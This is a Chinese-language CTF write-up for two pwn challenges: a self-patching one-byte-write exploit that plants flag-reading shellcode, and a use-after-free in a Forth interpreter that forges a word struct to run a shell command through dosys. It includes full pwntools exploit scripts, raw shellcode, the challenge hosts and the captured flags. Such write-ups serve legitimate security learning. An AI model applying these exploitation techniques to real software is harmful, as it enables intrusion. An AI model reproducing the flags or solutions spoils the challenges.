  mov  rbp, rsp
  sub  rsp, 0x10
  ...
  printf("where: ")
  scanf("%p", &ptr)
  printf("what: ")
  scanf("%hhu", &byte)

  cmp [rbp-8], chall
  jl  fail
  cmp [rbp-8], main
  jge fail

  mov rax, [rbp-8]
  mov dl, [rbp-9]
  mov [rax], dl

  leave
  ret

重点有两个:

cmp ptr, main
jge fail

也就是说地址必须 < main,不能写到 main 后面的区域。

leave
ret

leave 等价于:

mov rsp, rbp
pop rbp

然后 ret 从栈上弹返回地址。

如果我们能把这里稍微改一下,就能控制接下来去哪

原来函数结尾是:

leave
ret

我们把 leave 的 1 字节 opcode 改成 push rcx。

于是尾部就从:

leave
ret

变成:

push rcx
ret

这会产生一个非常妙的效果:

  • ret 会跳到我们压进去的 rcx
  • 而 rcx 此时正好指向程序里某个合适的位置(第一次时能回到 chall 开头附近)

于是函数结束后不再正常返回,而是再次进入 chall,从而获得第二次写、第三次写……无限次写。

这一步就是把“一次 1-byte patch”扩展成“循环 patch”。

第一次直接回到 chall 开头虽然能继续写,但如果每次都从函数序言重新执行:

push rbp
mov rbp, rsp
sub rsp, ...

那么栈帧会一层层套娃,最终把栈搞乱。

所以第二步要把 rcx 指向的位置改掉,让它不是跳到 chall 最开头,而是跳到函数中间一个已经越过建栈的位置(脚本里用的是 0x40114e 这种点)。

这样后续循环就只是不断执行“读输入 -> 检查 -> 写 1 字节 -> 尾部 ret 回来”,而不会重复 push rbp。

这一步的目的就是:

把“危险的递归回跳”变成“稳定的写字节循环”。

虽然已经能无限次写了,但现在仍然受限于:

cmp ptr, main
jge fail

也就是只能往 main 之前写。

这时候只需要再改 1 个字节,把条件跳转改掉即可。

例如把:

jge

改成一个几乎不可能成立的条件跳转,比如:

jo

这样逻辑上还是“有个跳转”,但实际上它几乎永远不会跳,于是地址检查等价于被绕过。

效果就是:

  • 现在我们可以往 main 里继续逐字节写代码
  • 从“一小段代码区 patch”升级成“把 main 改成我们的代码载体”

有了无限次写 + 去边界检查之后,剩下的事情就很直接了:

  1. 选一个将来一定会执行到的位置
    这里最方便的是
    main 里 call chall 之后的代码区域
  2. 把 shellcode 一字节一字节写进去shellcode 的作用是:
  • 打开 /app/flag.txt
  • 读取内容
  • 输出到 stdout
  • 退出
  1. 最后把之前改坏的尾部逻辑修回来,让控制流能够正常 ret 到我们写进去的 shellcode 上

这样程序退出 chall 后,就不会回到原始逻辑,而是直接执行我们写进 main 的 shellcode,拿到 flag。

exp:

from pwn import *
import sys

HOST = 'transmutation.opus4-7.b01le.rs'
PORT = 8443

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'

# Offsets relative to chall() start at 0x401146.
OFF_LOOP_DISP_LOW = 0x26   # low byte of lea rcx, [rip+disp32]
OFF_JCC_OPCODE    = 0x30   # opcode byte of jge 0x14
OFF_TAIL_NOP      = 0x46   # 0x40118c
OFF_TAIL_LEAVE    = 0x47   # 0x40118d
OFF_MAIN_SHELL    = 0xAD   # 0x4011f3 - 0x401146

# Preassembled amd64 Linux shellcode:
#   open('/app/flag.txt', 0)
#   read(fd, rsp, 0x40)
#   write(1, rsp, rax)
#   exit(0)
# This avoids pwntools.asm()/GNU as, so it runs fine on Windows.
REMOTE_SHELLCODE = bytes.fromhex(
    '48b8010101010101010150'
    '48b8662f757975010101'
    '48310424'
    '48b82f6170702f666c61'
    '504889e731d231f66a02580f05'
    '4889c731c06a405a4889e60f05'
    '6a015f4889c24889e66a01580f05'
    '31ff6a3c580f05'
)

# Optional local test shellcode for ./flag.txt
LOCAL_SHELLCODE = bytes.fromhex(
    '687975010181342401010101'
    '48b82e2f666c61672e7450'
    '4889e731d231f66a02580f05'
    '4889c731c06a405a4889e60f05'
    '6a015f4889c24889e66a01580f05'
    '31ff6a3c580f05'
)


def build_payload(shellcode: bytes) -> bytes:
    if OFF_MAIN_SHELL + len(shellcode) >= 256:
        raise ValueError(f'shellcode too large: {len(shellcode)} bytes')

    writes = []

    # 1) Turn tail 'leave' into 'push rcx'. The first time, rcx points to chall.
    writes.append((0x51, OFF_TAIL_LEAVE))

    # 2) Retarget rcx from chall() to 0x40114e, skipping the prologue on re-entry.
    writes.append((0xDE, OFF_LOOP_DISP_LOW))

    # 3) Change 'jge' -> 'jo' so the bounds check never triggers for our writes.
    writes.append((0x70, OFF_JCC_OPCODE))

    # 4) Write shellcode into main() after the call to chall().
    for i, b in enumerate(shellcode):
        writes.append((b, OFF_MAIN_SHELL + i))

    # We created two extra frames before stabilizing the loop.
    # 5) Change nop -> leave to unwind one frame while still looping.
    writes.append((0xC9, OFF_TAIL_NOP))

    # 6) Do one more loop iteration to unwind the second extra frame.
    writes.append((0x70, OFF_JCC_OPCODE))

    # 7) Restore tail from 'leave; push rcx; ret' to 'leave; nop; ret'.
    writes.append((0x90, OFF_TAIL_LEAVE))

    return b''.join(bytes([byte, off]) for byte, off in writes)


def main():
    use_local = any(arg.lower() in ('local', '--local') for arg in sys.argv[1:])
    shellcode = LOCAL_SHELLCODE if use_local else REMOTE_SHELLCODE
    payload = build_payload(shellcode)

    if use_local:
        io = process('./chall')
    else:
        io = remote(HOST, PORT, ssl=True)

    io.send(payload)
    data = io.recvall(timeout=5)
    try:
        print(data.decode('latin-1', errors='replace'))
    except Exception:
        print(repr(data))


if __name__ == '__main__':
    main()
bctf{CPU_0pt1m1z3r5_H4T3_th15_0n3_51mp13_tr1ck_5519225335}

spelling-bee

题目给了一个很小的 Forth 解释器,支持:

  • : 开始定义新单词
  • ; 结束定义
  • forget <name> 删除单词

程序启动时还会直接打印一个地址:

printf("... \n%p\n", dosys);

这相当于直接送了我们 dosys 的运行时地址,PIE 不再是问题。

题目里最关键的两个结构体:

typedef、程序核心结构

题目里最关键的两个结构体:

```c
typedef struct word {
  long flags;
  long length;
  long referenced_by;
  void (*code)(void *);
  void *param;
} word_t;

typedef struct dictionary {
  char *name;
  word_t *word;
  struct dictionary *next;
  bool alloc_name;
} dict_t;

编译一个新单词时,流程是:

  1. 读入名字,分配 compile_name
  2. 分配 compile_def,里面存这个单词引用到的 word_t *
  3. ; 时再新建一个 word_t,其 code = docol,param = compile_def
  4. 再插入一个 dict_t 到字典链表

也就是说,一个“编译出来的单词”通常至少对应这些堆块:

  • compile_name
  • compile_def
  • word_t
  • dict_t

删除单词的代码:

bool delete_word(dict_t **dict, char *name) {
  ...
  word_t *w = cur->word;
  if (w->flags & WF_MALLOC_PARAM) {
    free(w->param);
  }
  free(w);
  if (cur->alloc_name) {
    free(cur->name);
  }

  *pp = cur->next;
  free(cur);
  return true;
}

问题在于:

程序在编译时会做:

word->referenced_by += 1;
push_word(&compile_def, word, ...);

说明作者本来是想记录“这个 word 被多少别的单词引用”。

但是 delete_word() 里根本没有检查 referenced_by,于是就会出现:

  • A 在定义时引用了 B
  • forget B 直接把 B.word 和 B.param free 掉
  • 但 A.compile_def 里仍然保留着指向 B.word 的悬挂指针

这就是一个非常标准的 UAF。

关键在于多个对象会落进同一个 tcache size class。

sizeof(word_t) = 5 * 8 = 40 = 0x28

glibc 上对应的 chunk size 是 0x30。

char *name;      // 8
word_t *word;    // 8
dict_t *next;    // 8
bool alloc_name; // 1 + padding

总大小是 0x20 左右,请求后也会落到 0x30 chunk。

如果名字长度是 30 字节,那么:

malloc(strlen(name) + 1) = malloc(31)

对应 chunk size 也是 0x30。

编译开始时:

compile_word_capacity = 16;
compile_def = malloc(sizeof(word_t *) * 16);

即:

16 * 8 = 128 = 0x80

对应 chunk size 是 0x90。

如果名字长度恰好 127 字节,那么:

malloc(128)

它也会落到 0x90 chunk。

先定义:

: B 1 ;
: A B ;
forget B

含义:

  • B 是一个编译单词,B.word->code = docol
  • B.word->param = B.compile_def
  • A 的定义里保存了一个指向 B.word 的指针

执行 forget B 后:

  • B.word 被 free
  • B.compile_def 被 free
  • 但 A 里还保留着指向旧 B.word 的悬挂指针

我们需要两个可控落点:

  1. 让一个新的 0x30 分配 落到旧 B.word
  2. 让一个新的 0x90 分配 落到旧 B.param

脚本里通过这些辅助操作整理 tcache:

define(io, b'C', [])
define(io, long_tmp, [])
forget(io, b'C')
forget(io, long_tmp)
define(io, b'C', [])

这里 long_tmp = b'T' * 127。

作用就是把 0x30 / 0x90 两个 bin 的分配顺序整理成我们想要的状态,避免下一次 0x90 分配先吃掉别的 chunk。

我们定义一个长度正好为 30 的“单词名”:

fake_name = b'A' * 24 + struct.pack('<Q', dosys)[:6]

也就是:

  • 前 24 字节随便填
  • 第 24~29 字节写入 dosys 地址的低 6 字节

为什么是 24?

因为 word_t 的布局是:

  • flags : 0x00
  • length: 0x08
  • referenced_by: 0x10
  • code: 0x18
  • param: 0x20

也就是说 code 指针正好从偏移 24 开始。

而 compile_name 会执行:

strcpy(compile_name, token);

所以如果这次 compile_name 这块 0x30 chunk 正好复用到旧 B.word,那么写入的 30 字节就会直接覆盖这个旧结构体:

  • 偏移 24~29:变成 dosys 的低 6 字节
  • 偏移 30:strcpy 自动写入 \x00
  • 偏移 31:原本高字节也是 0

于是 code 被拼成完整的 dosys 指针。

更妙的是:

  • 我们只覆盖到 offset 29
  • param 从 offset 32 才开始

所以 旧 B.word->param 不会被碰到,它仍然保留着原来的 B.compile_def 地址。

因此这个 fake word 的效果就是:

code  = dosys
param = old_B_compile_def
cmd = b'cat${IFS}flag*;exit;'
long_cmd = cmd + b'X' * (127 - len(cmd))
define(io, long_cmd, [])

因为名字长度 127,所以:

malloc(128)

它会拿一个 0x90 chunk。

而旧 B.param(即 B.compile_def)本身就是 0x90 chunk,于是它正好会被复用成这次的 compile_name 缓冲区。

这样旧 B.param 指向的内容就不再是原来的 word_t* 数组,而变成了一段我们控制的字符串:

cat${IFS}flag*;exit;XXXX...

这里加 exit; 的原因是:

后面不可避免会有一堆 filler X,让 shell 在执行完 cat flag* 后立刻退出,避免继续解释后面的垃圾字符。

最后执行:

A

A 的执行过程会取出它编译时保存的那个 B.word 指针。

虽然那个 B.word 早就被 free 了,但现在那块内存已经被我们伪造成:

{
  code = dosys,
  param = old_B_param
}

而 old_B_param 又已经变成命令字符串。

所以最终效果就是:

dosys("cat${IFS}flag*;exit;...")
#!/usr/bin/env python3
from pwn import *
import struct

HOST = 'spelling-bee.opus4-7.b01le.rs'
PORT = 8443

context.arch = 'amd64'
context.log_level = 'info'

BIN_DIR = './dist/spelling-bee'
ELF_PATH = f'{BIN_DIR}/chall'
LIBC_PATH = f'{BIN_DIR}/libc.so.6'
LD_PATH = f'{BIN_DIR}/ld-linux-x86-64.so.2'


def start():
    if args.REMOTE:
        return remote(HOST, PORT, ssl=True)
    return process([LD_PATH, '--library-path', BIN_DIR, ELF_PATH])


def recv_banner(io) -> int:
    io.recvline()
    io.recvline()
    leak = io.recvline().strip()
    dosys = int(leak, 16)
    log.success(f'dosys = {hex(dosys)}')
    return dosys


def tok(io, data: bytes):
    io.send(data + b'\n')


def define(io, name: bytes, body=()):
    tok(io, b':')
    tok(io, name)
    for x in body:
        tok(io, x)
    tok(io, b';')
    line = io.recvline()
    log.info(f'define({name!r}) -> {line.strip()!r}')


def forget(io, name: bytes):
    tok(io, b'forget')
    tok(io, name)
    line = io.recvline()
    log.info(f'forget({name!r}) -> {line.strip()!r}')


def main():
    io = start()
    dosys = recv_banner(io)

    long_tmp = b'T' * 127
    fake_name = b'A' * 24 + struct.pack('<Q', dosys)[:6]
    assert len(fake_name) == 30

    cmd = b'cat${IFS}flag*;exit;'
    long_cmd = cmd + b'X' * (127 - len(cmd))

    define(io, b'B', [b'1'])
    define(io, b'A', [b'B'])
    forget(io, b'B')

    define(io, b'C', [])
    define(io, long_tmp, [])
    forget(io, b'C')
    forget(io, long_tmp)
    define(io, b'C', [])

    define(io, fake_name, [])
    define(io, long_cmd, [])

    tok(io, b'A')
    out = io.recvrepeat(1.5)
    print(out.decode('latin1', errors='ignore'))

    io.close()


if __name__ == '__main__':
    main()
bctf{1_h473_f0r63771n6_w0rd5_j5475v25fwpck}